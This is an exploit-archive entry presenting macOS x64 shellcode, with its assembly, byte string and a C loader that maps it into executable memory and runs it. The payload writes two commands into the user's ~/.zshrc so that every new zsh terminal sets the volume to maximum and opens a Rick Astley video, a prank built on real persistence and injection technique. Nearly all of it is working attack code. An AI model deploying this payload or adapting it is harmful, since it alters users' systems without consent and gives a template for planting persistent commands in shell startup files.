macOS/x64 - zsh RickRolling Shellcode (198 Bytes)

/*
## Shellcode Title:  macOS/x64 - zsh RickRolling Shellcode (198 Bytes)
## Shellcode Author: Bobby Cooke
## Date:             May 31st, 2020
## Tested on:        macOS Catalina v10.15.4
## Shellcode Description:
##     MacOS Catalina Dynamic, No-Null Shellcode that will Unmute the systems Volume, set the Volume to Maximum, and "Rick Roll" the user every time they open a Z-Shell Terminal Window. 
##     The shellcode uses the UNIX ExecVE SysCall to spawn a UNIX SH (/bin/sh). The UNIX SH executes an Echo (/bin/echo) command that adds two commands to the users Z-Shell (zsh) Running Config File (~/.zshrc); the ~/.zshrc file will be created if it does not exist. The first command in the ~/.zshrc file leverages the macOS default system binary OSAScript (/usr/bin/osascript) too unmute the macOS system & set the volume too maximum. The second command in the ~/.zshrc file leverages the macOS default system binary Open (/usr/bin/open) to open the 'Rick Astley - Never Gonna Give You Up' video with the macOS systems default browser.
## C Compile:        gcc zsh-rickrolling.c -o zsh-rickrolling
##                   Apple clang version 11.0.3 (clang-1103.0.32.62)
## Compile & Test:
##     root# gcc zsh-rickrolling.c -o zsh-rickrolling
##     root# cat ~/.zshrc
##     cat: /var/root/.zshrc: No such file or directory
##     root# ./zsh-rickrolling
##     Shellcode Length: 198 Bytes
##     root# cat ~/.zshrc
##     osascript -e "set Volume 9"
##     open "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
##     root# zsh
##     root@Mac #
##     < Browser Pop & Rick Roll >

---------------------------------------------------------------------

;## ASM Compile:  nasm -f macho64 zsh-rickrolling.asm
;##               NASM version 2.14.02 compiled on Sep 28 2019
;## OBJ Link:     ld zsh-rickrolling.o -lSystem -o zsh-rickrolling
;##               BUILD 17:57:49 Apr 24 2020
;## Get SC:       /bin/bash for x in $(objdump -d zsh-rickrolling.o -x86-asm-syntax=intel | grep "^ " | cut -f1 | awk -F: '{print $2}'); do echo -n "\x"$x; done; echo
global _main
_main:
; execve(const char *path, char *const argv[], char *const envp[]);
; RAX               RDI                RSI                 RDX
; RAX = 0x200003b = Execve System Call Number
; RDI = &"/bin/sh\x00"
; RSI = RSP
;          [RSP+10] = argv[0] = &`/bin/sh\x00`
;          [RSP+8]  = argv[1] = &`-c\x00`
;          [RSP+0]  = argv[2] = &`echo "open 'https...
; RDX = 0x0
regclear:
xor rsi, rsi                ; rsi = 0x0
mul rsi                     ; rax & rdx = 0x0
argv0:
mov rcx, 0x68732f6e69622fff ; "\xff/bin/sh"
shr rcx, 0x8                ; "/bin/sh\x00"
push rcx                    ; rsp = &"/bin/sh\x00"
mov rdi, rsp                ; rdi = *path =  &"/bin/sh\x00"
argv1:
add dx, 0x632d              ; "-c\x00"
push rdx                    ; rsp = &"-c\x00"
mov rbx, rsp                ; rbx = &"-c\x00"
argv2:
; "echo 'osascript -e \"set Volume 9\"\r\nopen \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\"' >> ~/.zshrc"
;   String length : 98
xor rcx, rcx
add cx, 0x6372              ; cr
push rcx
mov rcx, 0x68737a2e2f7e203e ; hsz./~ >
push rcx
mov rcx, 0x3e20272251635867 ; > '"QcXg
push rcx
mov rcx, 0x573977347751643d ; W9w4wQd=
push rcx
mov rcx, 0x763f68637461772f ; v?hctaw/
push rcx
mov rcx, 0x6d6f632e65627574 ; moc.ebut
push rcx
mov rcx, 0x756f792e7777772f ; uoy.www/
push rcx
mov rcx, 0x2f3a737074746822 ; /:sptth"
push rcx
mov rcx, 0x206e65706f0A0D22 ;  nepo\n\r"
push rcx
mov rcx, 0x3920656d756c6f56 ; 9 emuloV
push rcx
mov rcx, 0x207465732220652d ;  tes" e-
push rcx
mov rcx, 0x2074706972637361 ;  tpircsa
push rcx
mov rcx, 0x736f27206f686365 ; so' ohce
push rcx
mov r9, rsp                 ; r9 = &`echo "open 'https...
loadArgv:
xor rdx, rdx                ; rdx = envp[] = 0x0
push rdx                    ; [RSP+18] = 0x0
push r9                     ; [RSP+10] = argv[2] = &Command String
push rbx                    ; [RSP+8]  = argv[1] = &`-c\x00`
push rdi                    ; [RSP+0]  = argv[0] = &`/bin/sh\x00`
mov rsi, rsp                ; rsi = argv[]
execve:
mov al,2                    ; rax = 0x2
ror rax, 0x28               ; rax = 0x2000000
mov al, 0x3b                ; rax = 0x200003b
syscall                     ; execve system call

---------------------------------------------------------------------

*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
    "\x48\x31\xf6\x48\xf7\xe6\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48"
    "\xc1\xe9\x08\x51\x48\x89\xe7\x66\x81\xc2\x2d\x63\x52\x48\x89\xe3\x48"
    "\x31\xc9\x66\x81\xc1\x72\x63\x51\x48\xb9\x3e\x20\x7e\x2f\x2e\x7a\x73"
    "\x68\x51\x48\xb9\x67\x58\x63\x51\x22\x27\x20\x3e\x51\x48\xb9\x3d\x64"
    "\x51\x77\x34\x77\x39\x57\x51\x48\xb9\x2f\x77\x61\x74\x63\x68\x3f\x76"
    "\x51\x48\xb9\x74\x75\x62\x65\x2e\x63\x6f\x6d\x51\x48\xb9\x2f\x77\x77"
    "\x77\x2e\x79\x6f\x75\x51\x48\xb9\x22\x68\x74\x74\x70\x73\x3a\x2f\x51"
    "\x48\xb9\x22\x0d\x0a\x6f\x70\x65\x6e\x20\x51\x48\xb9\x56\x6f\x6c\x75"
    "\x6d\x65\x20\x39\x51\x48\xb9\x2d\x65\x20\x22\x73\x65\x74\x20\x51\x48"
    "\xb9\x61\x73\x63\x72\x69\x70\x74\x20\x51\x48\xb9\x65\x63\x68\x6f\x20"
    "\x27\x6f\x73\x51\x49\x89\xe1\x48\x31\xd2\x52\x41\x51\x53\x57\x48\x89"
    "\xe6\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05";

int main(int argc, char **argv) {
    printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));

    void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }

    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;

    sc();

    return 0;
}

Copyright ©2024 Exploitalert.